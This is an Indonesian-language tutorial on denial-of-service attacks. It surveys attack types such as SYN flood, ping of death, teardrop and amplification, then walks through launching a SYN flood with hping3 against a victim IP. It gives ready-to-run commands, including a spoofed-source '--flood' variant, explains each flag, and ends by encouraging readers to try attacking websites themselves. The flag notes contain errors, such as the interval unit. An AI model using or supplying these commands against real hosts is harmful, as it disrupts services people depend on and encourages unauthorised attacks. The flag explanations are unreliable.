Denial of Service (DOS)
Ilustrasi SYN Flooding |
Sebelumnya mari kita bahas terlebih dahulu Apa itu Denial of Service (DoS) ?
Serangan ini dikenal dengan sebuah aktifitas yang tujuan utamanya adalah menghentikan atau meniadakan layanan sistem atau jaringan komputer dengan cara menggangu ketersediaan komponen sumber daya, jadi membuat layanan tersebut semakin lemot atau bahkan sampai tidak dapat digunakan lagi.
Dengan kata lain DoS merupakan serangan untuk melumpuhkan sebuah layanan dengan cara menghabiskan sumber daya yang diperlukan dalam suatu komputer yang menggunakan layanan/jaringan tersebut. Semisal contohnya adalah dapat digunakan untuk melaksanakan serangan ini adalah dengan cara memutus koneksi antar dua sistem, membanjiri bandwith akses dengan ribuan bahkan jutaan paket, juga menghabiskan memori dengan cara melakukan aktifitas yang tidak diperlukan pada sistem tersebut.
Sumber daya yang biasanya diserang adalah bandwith, swap space, RAM, cache memories dll. Contoh nyata yang biasanya digunakan adalah penyerangan pada suatu website. Ketika suatu website terkena serangan DoS ini maka kinerja website tersebut akan menurun. Ini disebabkan karena adanya permintaan yang berulang-ulang ke server website tersebut. Serangan itu dibuat dan bertujuan untuk membuat server website kewalahan untuk melayani request dari pengguna lain yang akan mengakses website tersbut. Serangan ini akan berakhir dengan sendirinya, karena serangan DoS memang begitu sulit untuk ditanggulangi.
Jenis-Jenis Serangan Umum DoS
- SYN Flooding Serangan ini bertujuan untuk melemahkan kondisi pada TCP/IP Stack. Sejak TCP mempertahankan koneksi yang “reliable”, masing-masing koneksi perlu untuk dilacak. Hal ini ditangani oleh TCP/IP di dalam kernel, tetapi dengan tabel yang terbatas hanya untuk melacak koneksi yang datang. Hal inilah yang dapat dimanfaatkan dengan menggunakan SYN Flood.
- Pentium “F00F” Bug Serangan ini berupa serangkaian kode assembly yang dikirim ke processor asli Intel Pentium sehingga dapat menyebabkan sistem melakukan reboot dengan sendirinya. Serangan jenis ini akan mempengaruhi kinerja komputer yang berprocessor Pentium dan tidak begantung pada sistem operasi yang digunakan. Ini merupakan sebuah ancaman bagi ISP, webhost, pemerintah dan lain sebagainya. Jika komputer yang menggunakan processor ini adalah sebuah server jaringan atau ISP, maka dapat melumpuhkan seluruh jaringan yang ada.
- Ping Flooding Serangan ini tidak serta merta membuat suatu layanan atau sumber daya menjadi crash, melainkan berusaha membuat suatu layanan menjadi overload dan tidak dapat merespon.
- The Ping of Dead Serangan ini disebabkan karena pesan echo ICMP yang masuk lebih besar dibandingkan dengan kapasitas yang dapat ditangani oleh struktur data kernel.
- Tear Drop Teardrop mengekspoloitasi kelemahan beberapa vendor yang mengimplementasikan penataan kembali fragmentasi IP. Biasanya ketika sebuah paket difragmentasi, offset- offset fragmentasi yang disimpan dalam header akan berbaris untuk merekonstruksi paket asli dengan tidak ada tumpang tindih. Teardrop akan menyerang fragmen-fragment paket dengan offset yang tumpang tindih.
- Amplification Attack Ini adalah cara yang lebih cerdas untuk membuat sebuah ping flood tanpa memakai bandwith dengan jumlah yang besar. Pertama, sistem yang menjadi target serangan amplification harus ditemukan terlebih dahulu. Ini adalah sebuah jaringan yang mempunyai host aktif dalam jumlah besar dan terhubung dengan host target. Kemudian penyerang mengirimkan paket permintaan ICMP echo berukuran besar ke alamat broadcast pada jaringan amplification dengan sebuah source address palsu, yaitu source address milik target. Amplifier (contoh: router) akan membroadcast paket-paket tersebut ke semua host pada jaringan amplification, dimana kemudian host-host tersebut akan mengirimkan paket berupa ICMP echo reply ke sistem target.
Untuk serangan DoS dalam kategori jaringan komputer yaitu :
- Service Overloading Serangan ini dimaksudkan untuk membuat server menjadi sibuk untuk melayani request, sehingga request-request yang sebenarnya berhak untuk dilayani tidak dapat diproses karena tidak tersedia ruang antrian.
- Message Flooding Serangan ini akan membuat mesin menjadi crash atau kehabisan memori untuk menangani request yang masuk. Dalam hal ini, server tidak dapat melayani request untuk suatu layanan dalam waktu tertentu. Serangan yang dilakukan dapat berupa permintaan-permintaan terhadap suatu layanan file atau login maupun echo-back sederhana.
- Signal Grounding Serangan ini dapat berupa metode-metode fisik untuk menutup akses pada suatu jaringan dengan cara mengganggu sinyal dalam kabel atau bahkan mencabut terminator ethernet.
- Clogging Serangan yang menyebabkan suatu host menghabiskan waktu untuk untuk proses yang tidak seharusnya dikerjakan. Serangan ini dilakukan dengan cara mengirim permintaan hoax pada suatu host.
Sekarang mari kita coba Cara Melakukan Serangan DoS :
Pada artikel ini, Cara DoS IP Komputer dan Website dengan Jenis Serangan SYN Flooding Menggunakan Tool Hping3 di OS Linux. Dibawah ini terdapat teknik DoS yang dilakukan menggunakan SYN Flood.
Berikut spefifikasi untuk melakukan DoS pada contoh ini :
- Penyerang
- IP : 192.168.x.x
- OS : Kali Linux
- Tool : Hping3
- Korban
- IP : 192.168.200.237
- OS : Windows 8
SYN Flood
Sebelum melancarkan serangan, kita dapat men-scan layanan apa saya yang terdapat pada target. Misalkan target menjalankan layanan web dengan port 80 terbuka. Maka perintah untuk melakukan serangan adalah sebagai berikut :
Ini Screenshot ping korban sebelum diserang.
Coba ketikan teks dibawah ini pada Terminal Linux.
# hping3 -i u100 -S -p 80 192.168.200.237
Setelah diserang, ping korban menjadi seperti ini:
-i u10 = interval 100 ms
-S = menetapkan SYN flag
-p = port target
Interval adalah jangka waktu untuk mengirimkan aliran paket. Jika interval diatur semakin kecil maka paket yang akan dikirimkan semakin sering dan dampak yang semakin besar. Contoh lain adalah sebagai berkut :
# hping3 -q -n -a 10.10.10.1 -S -s 53 --keep -p 445 --flood 192.168.200.237
Keterangan :
-q = quiet mode
-n = output numerik
-a = alamat IP palsu
-S = menetapkan SYN flag
-s = baseport (port untuk melancarkan serangan)
--keep = tetap menggunakan baseport
-p = port target
--flood = mengirimkan paket secepat mungkin
Serangan ini menggunakan alamat palsu yaitu 10.10.10.1. Jadi seolah-olah alamat tersebutlah yang mengirimkan permintaan ke target. Serangan ini begitu mematikan karena dapat langsung membuat komputer target menjadi hang.
Begitu tadi Cara Menyerang IP Komputer dengan Jenis Serangan DDoS SYN Flooding Menggunakan Tool Hping3. Untuk menyerang website silahkan dicoba sendiri dirumah. Semoga berhasil. Terimakasih